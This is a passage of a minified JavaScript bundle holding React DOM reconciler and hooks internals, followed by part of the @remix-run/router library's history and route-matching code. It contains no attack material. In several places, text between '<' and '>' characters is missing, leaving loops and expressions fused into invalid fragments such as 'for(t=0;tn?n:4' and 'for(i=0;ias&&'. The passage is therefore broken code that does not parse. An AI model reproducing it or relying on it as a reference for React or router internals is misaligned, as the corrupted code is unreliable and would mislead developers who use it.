o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};s===null?i=s=o:s=s.next=o,n=n.next}while(n!==null);s===null?i=s=t:s=s.next=t}else i=s=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:s,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Wc(e,t,n,r){var i=e.updateQueue;ni=!1;var s=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?s=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(s!==null){var f=i.baseState;o=0,d=u=c=null,l=s;do{var p=l.lane,h=l.eventTime;if((r&p)===p){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(p=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,p);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,p=typeof x=="function"?x.call(h,f,p):x,p==null)break e;f=Ze({},f,p);break e;case 2:ni=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,p=i.effects,p===null?i.effects=[l]:p.push(l))}else h={eventTime:h,lane:p,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=p;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;p=l,l=p.next,p.next=null,i.lastBaseUpdate=p,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else s===null&&(i.shared.lanes=0);sa|=o,e.lanes=o,e.memoizedState=f}}function xg(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Yf.transition;Yf.transition={};try{e(!1),t()}finally{Le=n,Yf.transition=r}}function Oj(){return An().memoizedState}function oP(e,t,n){var r=vi(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},Tj(e))Mj(t,n);else if(n=pj(e,t,n,r),n!==null){var i=Wt();Yn(n,e,r,i),Lj(n,t,r)}}function lP(e,t,n){var r=vi(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(Tj(e))Mj(t,i);else{var s=e.alternate;if(e.lanes===0&&(s===null||s.lanes===0)&&(s=t.lastRenderedReducer,s!==null))try{var o=t.lastRenderedState,l=s(o,n);if(i.hasEagerState=!0,i.eagerState=l,Gn(l,o)){var c=t.interleaved;c===null?(i.next=i,ex(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=pj(e,t,i,r),n!==null&&(i=Wt(),Yn(n,e,r,i),Lj(n,t,r))}}function Tj(e){var t=e.alternate;return e===Ge||t!==null&&t===Ge}function Mj(e,t){co=Vc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function Lj(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Bh(e,n)}}var Hc={readContext:_n,useCallback:It,useContext:It,useEffect:It,useImperativeHandle:It,useInsertionEffect:It,useLayoutEffect:It,useMemo:It,useReducer:It,useRef:It,useState:It,useDebugValue:It,useDeferredValue:It,useTransition:It,useMutableSource:It,useSyncExternalStore:It,useId:It,unstable_isNewReconciler:!1},cP={readContext:_n,useCallback:function(e,t){return ar().memoizedState=[e,t===void 0?null:t],e},useContext:_n,useEffect:gg,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,hc(4194308,4,Cj.bind(null,t,e),n)},useLayoutEffect:function(e,t){return hc(4194308,4,e,t)},useInsertionEffect:function(e,t){return hc(4,2,e,t)},useMemo:function(e,t){var n=ar();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=ar();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=oP.bind(null,Ge,e),[r.memoizedState,e]},useRef:function(e){var t=ar();return e={current:e},t.memoizedState=e},useState:vg,useDebugValue:cx,useDeferredValue:function(e){return ar().memoizedState=e},useTransition:function(){var e=vg(!1),t=e[0];return e=sP.bind(null,e[1]),ar().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=Ge,i=ar();if(Ke){if(n===void 0)throw Error(ee(407));n=n()}else{if(n=t(),Nt===null)throw Error(ee(349));aa&30||yj(r,t,n)}i.memoizedState=n;var s={value:n,getSnapshot:t};return i.queue=s,gg(wj.bind(null,r,s,e),[e]),r.flags|=2048,Eo(9,bj.bind(null,r,s,n,t),void 0,null),n},useId:function(){var e=ar(),t=Nt.identifierPrefix;if(Ke){var n=zr,r=kr;n=(r&~(1<<32-Kn(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=Co++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[sr]=t,e[ko]=r,Hj(e,t,!1,!1),t.stateNode=e;e:{switch(o=Km(n,r),n){case"dialog":Fe("cancel",e),Fe("close",e),i=r;break;case"iframe":case"object":case"embed":Fe("load",e),i=r;break;case"video":case"audio":for(i=0;ias&&(t.flags|=128,r=!0,Ds(s,!1),t.lanes=4194304)}else{if(!r)if(e=Uc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Ds(s,!0),s.tail===null&&s.tailMode==="hidden"&&!o.alternate&&!Ke)return Dt(t),null}else 2*at()-s.renderingStartTime>as&&n!==1073741824&&(t.flags|=128,r=!0,Ds(s,!1),t.lanes=4194304);s.isBackwards?(o.sibling=t.child,t.child=o):(n=s.last,n!==null?n.sibling=o:t.child=o,s.last=o)}return s.tail!==null?(t=s.tail,s.rendering=t,s.tail=t.sibling,s.renderingStartTime=at(),t.sibling=null,n=qe.current,Be(qe,r?n&1|2:n&1),t):(Dt(t),null);case 22:case 23:return hx(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?on&1073741824&&(Dt(t),t.subtreeFlags&6&&(t.flags|=8192)):Dt(t),null;case 24:return null;case 25:return null}throw Error(ee(156,t.tag))}function vP(e,t){switch(Gh(t),t.tag){case 1:return Jt(t.type)&&Ic(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return rs(),Ue(Qt),Ue($t),ix(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return rx(t),null;case 13:if(Ue(qe),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(ee(340));ts()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Ue(qe),null;case 4:return rs(),null;case 10:return Jh(t.type._context),null;case 22:case 23:return hx(),null;case 24:return null;default:return null}}var Dl=!1,Rt=!1,gP=typeof WeakSet=="function"?WeakSet:Set,me=null;function $a(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){nt(e,t,r)}else n.current=null}function yp(e,t,n){try{n()}catch(r){nt(e,t,r)}}var Eg=!1;function yP(e,t){if(np=Oc,e=Qw(),Yh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,s=r.focusNode;r=r.focusOffset;try{n.nodeType,s.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,p=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==s||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)p=f,f=h;for(;;){if(f===e)break t;if(p===n&&++u===i&&(l=o),p===s&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=p,p=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(rp={focusedElem:e,selectionRange:n},Oc=!1,me=t;me!==null;)if(t=me,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,me=e;else for(;me!==null;){t=me;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Bn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(ee(163))}}catch(j){nt(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,me=e;break}me=t.return}return x=Eg,Eg=!1,x}function uo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var s=i.destroy;i.destroy=void 0,s!==void 0&&yp(t,n,s)}i=i.next}while(i!==r)}}function nd(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function bp(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function qj(e){var t=e.alternate;t!==null&&(e.alternate=null,qj(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[sr],delete t[ko],delete t[sp],delete t[tP],delete t[nP])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function Gj(e){return e.tag===5||e.tag===3||e.tag===4}function _g(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||Gj(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function wp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Lc));else if(r!==4&&(e=e.child,e!==null))for(wp(e,t,n),e=e.sibling;e!==null;)wp(e,t,n),e=e.sibling}function jp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(jp(e,t,n),e=e.sibling;e!==null;)jp(e,t,n),e=e.sibling}var Et=null,Fn=!1;function ei(e,t,n){for(n=n.child;n!==null;)Xj(e,t,n),n=n.sibling}function Xj(e,t,n){if(ur&&typeof ur.onCommitFiberUnmount=="function")try{ur.onCommitFiberUnmount(qu,n)}catch{}switch(n.tag){case 5:Rt||$a(n,t);case 6:var r=Et,i=Fn;Et=null,ei(e,t,n),Et=r,Fn=i,Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):Et.removeChild(n.stateNode));break;case 18:Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?Vf(e.parentNode,n):e.nodeType===1&&Vf(e,n),yo(e)):Vf(Et,n.stateNode));break;case 4:r=Et,i=Fn,Et=n.stateNode.containerInfo,Fn=!0,ei(e,t,n),Et=r,Fn=i;break;case 0:case 11:case 14:case 15:if(!Rt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var s=i,o=s.destroy;s=s.tag,o!==void 0&&(s&2||s&4)&&yp(n,t,o),i=i.next}while(i!==r)}ei(e,t,n);break;case 1:if(!Rt&&($a(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){nt(n,t,l)}ei(e,t,n);break;case 21:ei(e,t,n);break;case 22:n.mode&1?(Rt=(r=Rt)||n.memoizedState!==null,ei(e,t,n),Rt=r):ei(e,t,n);break;default:ei(e,t,n)}}function Ag(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new gP),t.forEach(function(r){var i=PP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function In(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~s}if(r=i,r=at()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*wP(r/1960))-r,10e?16:e,li===null)var r=!1;else{if(e=li,li=null,qc=0,Pe&6)throw Error(ee(331));var i=Pe;for(Pe|=4,me=e.current;me!==null;){var s=me,o=s.child;if(me.flags&16){var l=s.deletions;if(l!==null){for(var c=0;cat()-mx?Zi(e,0):fx|=n),en(e,t)}function i5(e,t){t===0&&(e.mode&1?(t=Pl,Pl<<=1,!(Pl&130023424)&&(Pl=4194304)):t=1);var n=Wt();e=Or(e,t),e!==null&&(Jo(e,t,n),en(e,n))}function CP(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),i5(e,n)}function PP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(ee(314))}r!==null&&r.delete(t),i5(e,n)}var a5;a5=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Qt.current)qt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return qt=!1,hP(e,t,n);qt=!!(e.flags&131072)}else qt=!1,Ke&&t.flags&1048576&&cj(t,$c,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;xc(e,t),e=t.pendingProps;var i=es(t,$t.current);qa(t,n),i=sx(null,t,r,e,i,n);var s=ox();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Jt(r)?(s=!0,Dc(t)):s=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,tx(t),i.updater=td,t.stateNode=i,i._reactInternals=t,fp(t,r,e,n),t=hp(null,t,r,!0,s,n)):(t.tag=0,Ke&&s&&qh(t),Bt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(xc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=_P(r),e=Bn(r,e),i){case 0:t=pp(null,t,r,e,n);break e;case 1:t=Sg(null,t,r,e,n);break e;case 11:t=kg(null,t,r,e,n);break e;case 14:t=zg(null,t,r,Bn(r.type,e),n);break e}throw Error(ee(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),pp(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),Sg(e,t,r,i,n);case 3:e:{if(Wj(t),e===null)throw Error(ee(387));r=t.pendingProps,s=t.memoizedState,i=s.element,hj(e,t),Wc(t,r,null,n);var o=t.memoizedState;if(r=o.element,s.isDehydrated)if(s={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=s,t.memoizedState=s,t.flags&256){i=is(Error(ee(423)),t),t=Cg(e,t,r,n,i);break e}else if(r!==i){i=is(Error(ee(424)),t),t=Cg(e,t,r,n,i);break e}else for(cn=pi(t.stateNode.containerInfo.firstChild),dn=t,Ke=!0,Wn=null,n=mj(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(ts(),r===i){t=Tr(e,t,n);break e}Bt(e,t,r,n)}t=t.child}return t;case 5:return xj(t),e===null&&cp(t),r=t.type,i=t.pendingProps,s=e!==null?e.memoizedProps:null,o=i.children,ip(r,i)?o=null:s!==null&&ip(r,s)&&(t.flags|=32),Fj(e,t),Bt(e,t,o,n),t.child;case 6:return e===null&&cp(t),null;case 13:return Uj(e,t,n);case 4:return nx(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=ns(t,null,r,n):Bt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),kg(e,t,r,i,n);case 7:return Bt(e,t,t.pendingProps,n),t.child;case 8:return Bt(e,t,t.pendingProps.children,n),t.child;case 12:return Bt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,s=t.memoizedProps,o=i.value,Be(Bc,r._currentValue),r._currentValue=o,s!==null)if(Gn(s.value,o)){if(s.children===i.children&&!Qt.current){t=Tr(e,t,n);break e}}else for(s=t.child,s!==null&&(s.return=t);s!==null;){var l=s.dependencies;if(l!==null){o=s.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(s.tag===1){c=Pr(-1,n&-n),c.tag=2;var u=s.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}s.lanes|=n,c=s.alternate,c!==null&&(c.lanes|=n),up(s.return,n,t),l.lanes|=n;break}c=c.next}}else if(s.tag===10)o=s.type===t.type?null:s.child;else if(s.tag===18){if(o=s.return,o===null)throw Error(ee(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),up(o,n,t),o=s.sibling}else o=s.child;if(o!==null)o.return=s;else for(o=s;o!==null;){if(o===t){o=null;break}if(s=o.sibling,s!==null){s.return=o.return,o=s;break}o=o.return}s=o}Bt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,qa(t,n),i=_n(i),r=r(i),t.flags|=1,Bt(e,t,r,n),t.child;case 14:return r=t.type,i=Bn(r,t.pendingProps),i=Bn(r.type,i),zg(e,t,r,i,n);case 15:return $j(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),xc(e,t),t.tag=1,Jt(r)?(e=!0,Dc(t)):e=!1,qa(t,n),Ij(t,r,i),fp(t,r,i,n),hp(null,t,r,!0,e,n);case 19:return Vj(e,t,n);case 22:return Bj(e,t,n)}throw Error(ee(156,t.tag))};function s5(e,t){return Tw(e,t)}function EP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Cn(e,t,n,r){return new EP(e,t,n,r)}function vx(e){return e=e.prototype,!(!e||!e.isReactComponent)}function _P(e){if(typeof e=="function")return vx(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Ih)return 11;if(e===Dh)return 14}return 2}function gi(e,t){var n=e.alternate;return n===null?(n=Cn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function yc(e,t,n,r,i,s){var o=2;if(r=e,typeof e=="function")vx(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case _a:return Qi(n.children,i,s,t);case Lh:o=8,i|=8;break;case Im:return e=Cn(12,n,t,i|2),e.elementType=Im,e.lanes=s,e;case Dm:return e=Cn(13,n,t,i),e.elementType=Dm,e.lanes=s,e;case Rm:return e=Cn(19,n,t,i),e.elementType=Rm,e.lanes=s,e;case xw:return id(n,i,s,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case pw:o=10;break e;case hw:o=9;break e;case Ih:o=11;break e;case Dh:o=14;break e;case ti:o=16,r=null;break e}throw Error(ee(130,e==null?e:typeof e,""))}return t=Cn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=s,t}function Qi(e,t,n,r){return e=Cn(7,e,r,t),e.lanes=n,e}function id(e,t,n,r){return e=Cn(22,e,r,t),e.elementType=xw,e.lanes=n,e.stateNode={isHidden:!1},e}function Qf(e,t,n){return e=Cn(6,e,null,t),e.lanes=n,e}function Jf(e,t,n){return t=Cn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function AP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Tf(0),this.expirationTimes=Tf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Tf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function gx(e,t,n,r,i,s,o,l,c){return e=new AP(e,t,n,l,c),t===1?(t=1,s===!0&&(t|=8)):t=0,s=Cn(3,null,null,t),e.current=s,s.stateNode=e,s.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},tx(s),e}function OP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(u5)}catch(e){console.error(e)}}u5(),uw.exports=xn;var jx=uw.exports,$g=jx;Mm.createRoot=$g.createRoot,Mm.hydrateRoot=$g.hydrateRoot;/** * @remix-run/router v1.23.2 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function Ao(){return Ao=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function Nx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function RP(){return Math.random().toString(36).substr(2,8)}function Fg(e,t){return{usr:e.state,key:e.key,idx:t}}function Cp(e,t,n,r){return n===void 0&&(n=null),Ao({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?vs(t):t,{state:n,key:t&&t.key||r||RP()})}function Zc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function vs(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function $P(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:s=!1}=r,o=i.history,l=ci.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(Ao({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ci.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function p(y,v){l=ci.Push;let b=Cp(g.location,y,v);u=d()+1;let w=Fg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(N){if(N instanceof DOMException&&N.name==="DataCloneError")throw N;i.location.assign(j)}s&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ci.Replace;let b=Cp(g.location,y,v);u=d();let w=Fg(b,u),j=g.createHref(b);o.replaceState(w,"",j),s&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Zc(y);return b=b.replace(/ $/,"%20"),Xe(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Bg,f),c=y,()=>{i.removeEventListener(Bg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:p,replace:h,go(y){return o.go(y)}};return g}var Wg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Wg||(Wg={}));function BP(e,t,n){return n===void 0&&(n="/"),FP(e,t,n)}function FP(e,t,n,r){let i=typeof t=="string"?vs(t):t,s=ss(i.pathname||"/",n);if(s==null)return null;let o=d5(e);WP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?s.path||"":l,caseSensitive:s.caseSensitive===!0,childrenIndex:o,route:s};c.relativePath.startsWith("/")&&(Xe(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=yi([r,c.relativePath]),d=n.concat(c);s.children&&s.children.length>0&&(Xe(s.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),d5(s.children,t,d,u)),!(s.path==null&&!s.index)&&t.push({path:u,score:GP(u,s.index),routesMeta:d})};return e.forEach((s,o)=>{var l;if(s.path===""||!((l=s.path)!=null&&l.includes("?")))i(s,o);else for(let c of f5(s.path))i(s,o,c)}),t}function f5(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),s=n.replace(/\?$/,"");if(r.length===0)return i?[s,""]:[s];let o=f5(r.join("/")),l=[];return l.push(...o.map(c=>c===""?s:[s,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function WP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:XP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const UP=/^:[\w-]+$/,VP=3,HP=2,KP=1,YP=10,qP=-2,Ug=e=>e==="*";function GP(e,t){let n=e.split("/"),r=n.length;return n.some(Ug)&&(r+=qP),t&&(r+=HP),n.filter(i=>!Ug(i)).reduce((i,s)=>i+(UP.test(s)?VP:s===""?KP:YP),r)}function XP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function ZP(e,t,n){let{routesMeta:r}=e,i={},s="/",o=[];for(let l=0;l{let{paramName:p,isOptional:h}=d;if(p==="*"){let g=l[f]||"";o=s.slice(0,s.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[p]=void 0:u[p]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:s,pathnameBase:o,pattern:e}}function QP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),Nx(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function JP(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return Nx(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function ss(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const eE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,tE=e=>eE.test(e);function nE(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?vs(e):e,s;if(n)if(tE(n))s=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),Nx(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?s=Vg(n.substring(1),"/"):s=Vg(n,t)}else s=t;return{pathname:s,search:aE(r),hash:sE(i)}}function Vg(e,t){let n=t.replace(/\/+$/,"").split("/");return 